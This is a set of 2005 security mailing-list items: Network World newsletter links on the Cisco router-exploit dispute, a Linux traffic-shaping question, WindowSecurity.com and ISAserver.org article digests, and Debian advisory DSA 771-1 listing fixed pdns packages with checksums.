2. Cisco, ISS, Michael Lynn and Black Hat sign legal accord
<http://www.networkworld.com/nlnetflash4143>

3. Researcher at center of Cisco router-exploit controversy
speaks out <http://www.networkworld.com/nlnetflash4144>

4. 2005 Salary Survey
<http://www.networkworld.com/nlnetflash3929>

5. Cisco nixes conference session on hacking IOS router code
<http://www.networkworld.com/nlnetflash4046>
_______________________________________________________________
To contact: Sheryl Hodge

Sheryl Hodge is the Senior Online Copy Chief for Network World
Fusion. She can be reached at <mailto:shodge@nww.com>
_______________________________________________________________
This newsletter is sponsored by Avocent
Network World Executive Guide: Reviewing Trends and Insights for
SMB Executives

Life is different for IT professionals at small and mid-sized
businesses, which don't have the luxury of hiring legions of
network experts. Read how network executives are keeping a firm
footing on an ever-shifting product landscape. Learn about
trends and insights surrounding VoIP and VPNs; plus get
commentaries from leading experts on storage strategies for
smaller businesses.
http://www.fattail.com/redir/redirect.asp?CID=109150
_______________________________________________________________
ARCHIVE LINKS

NetFlash breaking news:
http://www.networkworld.com/news/netflash.html
_______________________________________________________________
Taking The Risk Out Of Outsourcing - New Webcast

Many companies are choosing managed services. Should you? Watch
this webcast and get the guidance you need on the factors you
should look at when deciding on managed services and a managed
service provider.
http://www.fattail.com/redir/redirect.asp?CID=109101
_______________________________________________________________
FEATURED READER RESOURCE
SIX TIPS FOR GETTING WHAT YOU DESERVE

Before you go in for your next annual review or promotion
interview, you would be wise to consider these tips for ensuring
you've got the right stuff to move ahead. Network executives
offer advice to help you gun for that next promotion and fatten
up your paycheck. Click here:
<http://www.networkworld.com/you/2005/072505-salary-side2.html>
_______________________________________________________________
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Fair traffic shaping per IP (like with masked dummynet queues)

Hi all

My goal is an IP-Router that does fair traffic shaping for the hosts
behind my ADSL link. By "fair traffic shaping" I mean that the available
bandwith is split equally between all active hosts. I want this to
happen dynamically, so that I don't have to update or reload my scripts if
another Host is added to the LAN.

I've done this before with FreeBSDs dummynet, where queues could be
associated with a mask so that separate queues for each source or
destiantion address would be created automatically.

After skipping through the LARTC Howto and generally pestering Google with
variances of the query "linux traffic shaping per host", I was left with
the impression that there is nothing like the "Dynamic queue creation" I
knew from dummynet. Now I hope someone knows how to dynamically split
available bandwith for mutliple hosts with the linux Kernel or some
userland tools.

Cheers
Stephan

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WindowSecurity.com - Monthly Article Update

WindowSecurity.com - Monthly Article Update

Hi Security World,

New articles added to WindowSecurity.com last month:

Title: Securing Windows Member Servers
Author: Derek Melber
Summary: Every company has member servers at some capacity or another. Some companies have just a few, where others might have thousands. These member servers are the work horses of your network, providing the core production services for the company. From running the intranet, providing print services, SQL databases, e-mail services, file storage, and application support. With member servers providing all of these essential functions, it goes hand-in-hand with the fact that you need to protect these servers. This article will discuss some of key security configurations that can be made to help protect your member servers.
Link: http://www.WindowSecurity.com/articles/Securing-Windows-Member-Servers.html

Title: Installing and Configuring Microsoft’s Data Protection Manager (DPM) Part 1
Author: Deb Shinder
Summary: The beta of Microsoft's new Data Protection Manager (formerly called Data Protection Server) is now available to the public. DPM brings disk-based backup and recovery to enterprise networks as part of Microsoft’s new System Center product umbrella that also includes Microsoft Operations Manager (MOM) and Systems Management Server (SMS). In this two part article, we show you how to install and configure DPM and evaluate how this newest member of Microsoft's System Center product umbrella can be integrated into your overall security strategy.
Link: http://www.WindowSecurity.com/articles/Installing-Configuring-Microsoft-Data-Protection-Manager-Part1.html

Title: Sys Admin: Friend or Foe?
Author: Don Parker
Summary: The network system administrator is the first line, and sometimes last line of defence that a network has. What happens though if that very same defender becomes more of a liability?
Link: http://www.WindowSecurity.com/articles/Sys-Admin-Friend-Foe.html

Title: Ethical Issues for IT Security Professionals
Author: Deb Shinder
Summary: This article takes a look at a neglected area of most computer security professionals' training: how to deal with the ethical issues that can - and invariably do - crop up during the course of doing your job.
Link: http://www.WindowSecurity.com/articles/Ethical-Issues-IT-Security-Professionals.html

Title: The Student, the Teacher, and Optix Pro (Part 3)
Author: Don Parker
Summary: In this last part of the article series we will show John finding, and retrieving the upcoming math exam, as well as his getting caught. Rounding it out will be a quick incident handling roundup.
Link: http://www.WindowSecurity.com/articles/Student-Teacher-Optix-Pro-Part3.html

Title: How Do Compliance Issues Affect your Network?
Author: Deb Shinder
Summary: Government regulations such as HIPAA, SOX and the GLB Act require changes to many network security infrastructures and IT procedures. As if wading through this alphabet soup of statutes and regulations weren’t enough, it's not enough to be compliant; you must also be able to prove your compliance if the feds come knocking. This article looks at how regulations affecting specific industries impact the computer networks of companies in those industries, as well as some of the common myths and misconceptions about various compliance requirements.
Link: http://www.WindowSecurity.com/articles/How-Do-Compliance-Issues-Affect-your-Network.html

Title: The Student, the Teacher, and Optix Pro (Part 2)
Author: Don Parker
Summary: In this part of the article series we see John begin to configure his trojan server on the professor’s computer, and will ultimately see him connect to it from his class room.
Link: http://www.WindowSecurity.com/articles/Student-Teacher-Optix-Pro-Part2.html

Title: Book Reviews: Still More Security Books
Author: Mitch Tulloch
Summary: Security books keep flooding in from publishers, so it looks like the business of information security continues to occupy a forefront in the minds of both business executives and IT professionals. Here’s my latest pick of what’s good.
Link: http://www.WindowSecurity.com/articles/Book-Reviews-More-Security-Books.html

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ISAserver.org - Monthly Article Update

ISAserver.org - Monthly Article Update

Hi Security World,

New articles added to ISAserver.org last month:

Title: Publishing an OWA Site in a Back to Back ISA Firewall Configuration (Part 1)
Author: Thomas Shinder
Summary: Remote users can connect to your Exchange Server from virtually any site in the world using the HTTP protocol by connecting to the Exchange Server’s Outlook Web Access (OWA) Web site. Exchange Server 2003 takes OWA to the next level. The Exchange Server 2003 OWA site provides much greater functionality than available with the Exchange 5.5 or Exchange 2000 OWA site, and provides a user experience that is very close to what you get with the full Outlook MAPI client.
Link: http://www.ISAserver.org/tutorials/Publishing-OWA-Site-Back-to-Back-ISA-Firewall-Part1.html

Title: Product Review: HP ProLiant DL320
Author: Thomas Shinder
Summary: In this review we take a look at the HP DL320 hardware ISA firewall. The HP ProLiant DL320 is built on HP’s reliable and high performance DL320 G3 hardware. This sturdy ISA-based hardware firewall is targeted at the experienced ISA firewall administrator who wants a pre-built and pre-hardened ISA firewall delivered to the door, ready to plug in and deploy. The HP DL320 gives you a clean ISA firewall experience by focusing on hardware performance optimization and leaving you the option to install add-in software as you like, something you can’t do with all the ISA hardware firewalls on the market today. In addition, HP throws in a few app and network layer enhancements that are sure to improve your overall network security posture.
Link: http://www.ISAserver.org/articles/HP-ProLiant-DL320-ISA-Hardware-Firewall.html

Title: Redirecting OWA Users to the Correct Directories and Protocols (Part 2)
Author: Thomas Shinder
Summary: Part 1 of this two-part series on how to redirect OWA users to the right site and protocol discussed the issues involved with creating redirects for users who enter incorrect URLs or incorrect protocols when accessing the OWA Web site. We also went over the initial configuration steps you can use to perform the redirects. In this, part 2 and final part of the series, we’ll go over the configuration steps from beginning to end and explain the rationale behind the steps. By the time you finish the procedure, users will be able to enter incorrect paths and incorrect protocols and still be redirected to the correct OWA Web site. The end result is fewer Help Desk calls.
Link: http://www.ISAserver.org/tutorials/Redirecting-OWA-Users-Part2.html

Title: Troubleshooting IPSec Tunnel Mode Scenarios
Author: Clint Denham
Summary: In this article we’ll take a look at how to troubleshoot a common site to site IPSec tunnel-mode VPN scenario.
Link: http://www.ISAserver.org/tutorials/Troubleshooting-IPSec-Tunnel-Mode-Scenarios.html

Title: Redirecting OWA Users to the Correct Directories and Protocols (Part 1) v.1.1
Author: Thomas Shinder
Summary: A frequent request I see on the ISAServer.org Web boards and mailing lists is for information on how to help hapless uses who can’t remember to enter the correct path or protocol to reach the Exchange Server’s OWA site. While it might seem like a simple issue to enter the path https://owa.domain.com/exchange into the Web browser Address bar and press ENTER, long experience tells us that this isn’t the case.
Link: http://www.ISAserver.org/tutorials/Redirecting-OWA-Users-Part1.html

Title: How to Record URL and User Information in ISA 2004 Firewall Logs and Reports
Author: Thomas Shinder
Summary: One of the most common questions I see on the ISAServer.org Web boards and mailing list is how to get user and URL information in the ISA firewall’s logs and reports. The ISA firewall creates reports using ISA log summaries. The log summaries are derived from the ISA firewall’s Web Proxy filter and Firewall service logs. If you want to see user information and URLs (instead of IP addresses) in the reports, you’ve got to get that information into the logs first.
Link: http://www.ISAserver.org/tutorials/2004recorduserinfo.html

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[SECURITY] [DSA 771-1] New pdns packages fix denial of service

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA 771-1 security@debian.org
http://www.debian.org/security/ Martin Schulze
August 1st, 2005 http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package : pdns
Vulnerability : several
Problem-Type : remote
Debian-specific: no
CVE ID : CAN-2005-2301 CAN-2005-2302
Debian Bug : 318798

Several problems have been discovered in pdns, a versatile nameserver
that can lead to a denial of service. The Common Vulnerabilities and
Exposures project identifies the following problems:

CAN-2005-2301

Norbert Sendetzky and Jan de Groot discoverd that the LDAP backend
did not properly escape all queries, allowing it to fail and not
answer queries anymore.

CAN-2005-2302

Wilco Baan discovered that queries from clients without recursion
permission can temporarily blank out domains to clients with
recursion permitted. This enables outside users to blank out a
domain temporarily to normal users.

The old stable distribution (woody) does not contain pdns packages.

For the stable distribution (sarge) these problems have been fixed in
version 2.9.17-13sarge1.

For the unstable distribution (sid) these problems have been fixed in
version 2.9.18-1.

We recommend that you upgrade your pdns package.

Upgrade Instructions
- --------------------

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.

Debian GNU/Linux 3.1 alias sarge
- --------------------------------

Source archives:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1.dsc
Size/MD5 checksum: 1018 0853a39aeb6b4d6c9ba001f364d842bc
http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1.diff.gz
Size/MD5 checksum: 29798 4c0437b86c5e3ccbffa6838012dbaf74
http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17.orig.tar.gz
Size/MD5 checksum: 782592 92489391182dc40012f1de7b2005ea93

Architecture independent components:

http://security.debian.org/pool/updates/main/p/pdns/pdns-doc_2.9.17-13sarge1_all.deb
Size/MD5 checksum: 134202 bedb1d7a9eece3f76de635c23b4535d7

Alpha architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_alpha.deb
Size/MD5 checksum: 16016 621dbb1ae4cdf8dda2396f4013608042
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_alpha.deb
Size/MD5 checksum: 128188 f2d21705577ea2a5fd1aeead8126e991
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_alpha.deb
Size/MD5 checksum: 235340 40264b77c8d36138bda47468867d7aee
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_alpha.deb
Size/MD5 checksum: 110132 46d2d68a646b4a2235de180a32f54e8e
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_alpha.deb
Size/MD5 checksum: 70406 1156c4fe6d5df7b67f918b2c6aa8c328
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_alpha.deb
Size/MD5 checksum: 81188 0c222e749e764b497dcc84f57e286475
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_alpha.deb
Size/MD5 checksum: 63782 e598603835286d3347bfa27ac51c7031
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_alpha.deb
Size/MD5 checksum: 199978 5eecc516f56b5cdcaa73e79c02daedc6
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_alpha.deb
Size/MD5 checksum: 687108 ae808192faab151eb045c8e25f8c8683

ARM architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_arm.deb
Size/MD5 checksum: 16026 939a3fb962ca170f622af16a82cf3549
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_arm.deb
Size/MD5 checksum: 153700 3d678c9dd2d26015a8891fe1246cb85e
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_arm.deb
Size/MD5 checksum: 318412 b249e42dac179db588c65cf20f2583a2
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_arm.deb
Size/MD5 checksum: 148498 5e6d21db1505f5477ee5acf1bc0486bf
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_arm.deb
Size/MD5 checksum: 95668 0cfd34b907b705428c60cd9871492e2d
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_arm.deb
Size/MD5 checksum: 104304 dccbfd9c8c82e8b2a68aa1a916473dff
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_arm.deb
Size/MD5 checksum: 85552 1f6f5a3cf8724b17b75169d93b05980c
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_arm.deb
Size/MD5 checksum: 271888 f177cc208f286a322b2db376d6c3e192
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_arm.deb
Size/MD5 checksum: 982256 9012824597e4bf2d90e838da4fda69bc

Intel IA-32 architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_i386.deb
Size/MD5 checksum: 16608 357a0624bcb110d7ce02f9a0b7bee292
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_i386.deb
Size/MD5 checksum: 105884 7ed515d665879bfde98865dc9e0b5e8c
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_i386.deb
Size/MD5 checksum: 190228 bb6937448e929f7a4cf2f7a7d186b0f3
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_i386.deb
Size/MD5 checksum: 85610 ef863523590f6cbdbcb261031afedbb4
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_i386.deb
Size/MD5 checksum: 56046 a4e44140e9864c592f90570e75020c23
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_i386.deb
Size/MD5 checksum: 64598 d6360752c244fa6e454a1f46680888bc
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_i386.deb
Size/MD5 checksum: 51370 13a2d22faf21717300407bdedb204309
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_i386.deb
Size/MD5 checksum: 165408 4ced59cd5fb6f8b7cbe7347ec86f7839
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_i386.deb
Size/MD5 checksum: 572496 c58056c3059d5f71687dfd5b9bfa6585

Intel IA-64 architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_ia64.deb
Size/MD5 checksum: 16012 6f54caec9aa5da3883283c3aac18d5dc
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_ia64.deb
Size/MD5 checksum: 135824 4c8ddd124dbb8011c978375796b08630
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_ia64.deb
Size/MD5 checksum: 262958 8b9bfd9108a6a7ca212a77dc16b7d7c1
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_ia64.deb
Size/MD5 checksum: 112768 fed34d607080d8b97068eff67c35f42a
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_ia64.deb
Size/MD5 checksum: 68840 9a4b231eb4307dcf52a76123280d3230
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_ia64.deb
Size/MD5 checksum: 83782 2e4782611a25ed6d329ecb6f5cfbecaa
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_ia64.deb
Size/MD5 checksum: 63762 26745c938da7163790335e6fe07d7e1e
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_ia64.deb
Size/MD5 checksum: 229174 b1dfbb1c8691da8c0b53952343ed147e
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_ia64.deb
Size/MD5 checksum: 814878 82d3e7c0feca9e74ebcc57820d35b4d4

HP Precision architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_hppa.deb
Size/MD5 checksum: 16016 7d53ffe4047bf55a3c3a979699b04d2e
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_hppa.deb
Size/MD5 checksum: 131040 dbf129fd9439d0cbddf1bbce2a194ca6
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_hppa.deb
Size/MD5 checksum: 247142 e79e4636aee39e85a2246a2d9f987df5
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_hppa.deb
Size/MD5 checksum: 114520 56e3cbcd8b2eca5bf30c1963570fbcf6
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_hppa.deb
Size/MD5 checksum: 72792 cd3e30c2a7ce276db0d52ba394f57ed7
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_hppa.deb
Size/MD5 checksum: 83954 6f59cc44bc5561769480f56919244b30
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_hppa.deb
Size/MD5 checksum: 66750 8fed2e2aa498d1be0e45878b5456a9fa
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_hppa.deb
Size/MD5 checksum: 219890 c5ea8b0c7ce3480478711ef1852cc566
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_hppa.deb
Size/MD5 checksum: 727006 d166c1b0b5e9b0989c5bb8419c377a53

Motorola 680x0 architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_m68k.deb
Size/MD5 checksum: 16026 b08feaf530b3e51fb031b9a171075e4e
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_m68k.deb
Size/MD5 checksum: 108388 8e6d08a9371a64926d7c4beef5205945
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_m68k.deb
Size/MD5 checksum: 197570 69d053f36af9cd8f73dbc5470fa11d6f
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_m68k.deb
Size/MD5 checksum: 89250 02d1761d0141aded8587ddf3836879e2
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_m68k.deb
Size/MD5 checksum: 59904 fc5d48ee6757b37eb55d8a03e03b6c90
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_m68k.deb
Size/MD5 checksum: 67632 2aa2247dbccc281d60203d00089a4e4e
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_m68k.deb
Size/MD5 checksum: 55090 6135caa3beba19a3b6cc42cde66e1889
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_m68k.deb
Size/MD5 checksum: 167762 a01a400e8d778e7c3614d628ab912e3f
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_m68k.deb
Size/MD5 checksum: 589634 03814d127f5a1d25ce328cb5cd5f1f60

Big endian MIPS architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_mips.deb
Size/MD5 checksum: 16016 cd36ca9a0fa9f5a9aaa75897f3c7418c
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_mips.deb
Size/MD5 checksum: 109798 57cb7be975fa3ea2c27ff815d7f0ba3e
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_mips.deb
Size/MD5 checksum: 200772 89af7d035f7f9d871e95dd5e4b25bd56
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_mips.deb
Size/MD5 checksum: 90842 f3ce3096928b9b6bdcec20d43ea32515
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_mips.deb
Size/MD5 checksum: 59148 98bed909b4b5749ab1930a31f713aeb2
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_mips.deb
Size/MD5 checksum: 67990 ea7e179119e0fea1d700e9f079693ca5
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_mips.deb
Size/MD5 checksum: 54776 8d380a8440387394165eccee67c762c4
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_mips.deb
Size/MD5 checksum: 182952 a252292345ae2f8a547d216d37cbe035
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_mips.deb
Size/MD5 checksum: 591376 53c9316ba8c4f82f3a93a5b9d5a5f012

Little endian MIPS architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_mipsel.deb
Size/MD5 checksum: 16016 ce2a3df355d3d874115cbf67aca0cade
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_mipsel.deb
Size/MD5 checksum: 109546 b3dd10a3d05006200770637f24a9103f
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_mipsel.deb
Size/MD5 checksum: 200526 a24f85cca08523fb180de3ae9c5090eb
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_mipsel.deb
Size/MD5 checksum: 90654 0bc9f1a71761d74f73cc93e054884215
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_mipsel.deb
Size/MD5 checksum: 59120 9927d4a872906890a43791f2fe2579ee
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_mipsel.deb
Size/MD5 checksum: 67968 c1d289a27a3c1229533408dff970bb23
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_mipsel.deb
Size/MD5 checksum: 54760 2e63ef2b9484054bb24d194f55d286e6
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_mipsel.deb
Size/MD5 checksum: 182464 a67792eee411ce6d55496303a776b3b4
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_mipsel.deb
Size/MD5 checksum: 590744 ca79710d887fa76a78c19e248f4a2ee5

PowerPC architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_powerpc.deb
Size/MD5 checksum: 16012 e60ef7db0805bdaec95fe51c765157e1
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_powerpc.deb
Size/MD5 checksum: 109692 21c091ec248ddd2e68be23e069afeb9e
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_powerpc.deb
Size/MD5 checksum: 196256 f22de6b994c3b04218b99ec04d6f2e89
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_powerpc.deb
Size/MD5 checksum: 91038 ab830c1ace1ed862494368627568ca7c
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_powerpc.deb
Size/MD5 checksum: 60334 bb3342c972d9b945e6330e998c12a48d
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_powerpc.deb
Size/MD5 checksum: 67878 56449e1a43d7dc0fbb6922505d1a77ff
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_powerpc.deb
Size/MD5 checksum: 55134 5bba23ac17e17a39d60dd9dd0f98086c
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_powerpc.deb
Size/MD5 checksum: 172386 8d62ffd1fad186ddba17d6ddbe4185a9
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_powerpc.deb
Size/MD5 checksum: 592356 40c0d9e06176c89d8f321514e80c60bc

IBM S/390 architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_s390.deb
Size/MD5 checksum: 16016 3f336948d846b74a65e6caf93312f4d3
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_s390.deb
Size/MD5 checksum: 104590 db7bdcbdee19d89335ed526ffb48ba05
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_s390.deb
Size/MD5 checksum: 177148 6fbe6c2d37ab31a8d67b1f096b86820e
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_s390.deb
Size/MD5 checksum: 82344 aef7e67405dee3c5d274903f6eae0aae
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_s390.deb
Size/MD5 checksum: 54012 8ff5a6d7690300d795c3b3e65e1fb91d
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_s390.deb
Size/MD5 checksum: 63390 512cced91f0a35de3b2abf993987e8f6
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_s390.deb
Size/MD5 checksum: 49582 84980b91ee2c06ea4074bc14d6ea46d1
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_s390.deb
Size/MD5 checksum: 152376 6910874c9685b5eb0edec47adfb36dd3
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_s390.deb
Size/MD5 checksum: 518220 e588a8de7cd44851d96ecf2643b8cc37

Sun Sparc architecture:

http://security.debian.org/pool/updates/main/p/pdns/pdns_2.9.17-13sarge1_sparc.deb
Size/MD5 checksum: 16012 3b5eb251bd613cc3bb5bacd9712bf311
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-geo_2.9.17-13sarge1_sparc.deb
Size/MD5 checksum: 107216 582fa89a2dce75cd3d83c5c0a2f3d6ab
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-ldap_2.9.17-13sarge1_sparc.deb
Size/MD5 checksum: 189996 16a3e141b002694be72130b7a94adbe9
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-mysql_2.9.17-13sarge1_sparc.deb
Size/MD5 checksum: 88710 5ac67170e1e2c55ed2b8c79ed222f7fc
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pgsql_2.9.17-13sarge1_sparc.deb
Size/MD5 checksum: 58438 224e96ca4e6a81321cc10c496d17cc55
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-pipe_2.9.17-13sarge1_sparc.deb
Size/MD5 checksum: 66122 fee851568972ae11df770fdd93d9d39b
http://security.debian.org/pool/updates/main/p/pdns/pdns-backend-sqlite_2.9.17-13sarge1_sparc.deb
Size/MD5 checksum: 53316 8dd03fcedd9c49b7fe6ca4b135e67a70
http://security.debian.org/pool/updates/main/p/pdns/pdns-recursor_2.9.17-13sarge1_sparc.deb
Size/MD5 checksum: 165450 cf2b7d9b8d7f3a2ac796544eadc6be98
http://security.debian.org/pool/updates/main/p/pdns/pdns-server_2.9.17-13sarge1_sparc.deb
Size/MD5 checksum: 578782 cc27d78b7a21e27de95dcd1da5656ed0

These files will probably be moved into the stable distribution on
its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce@lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>

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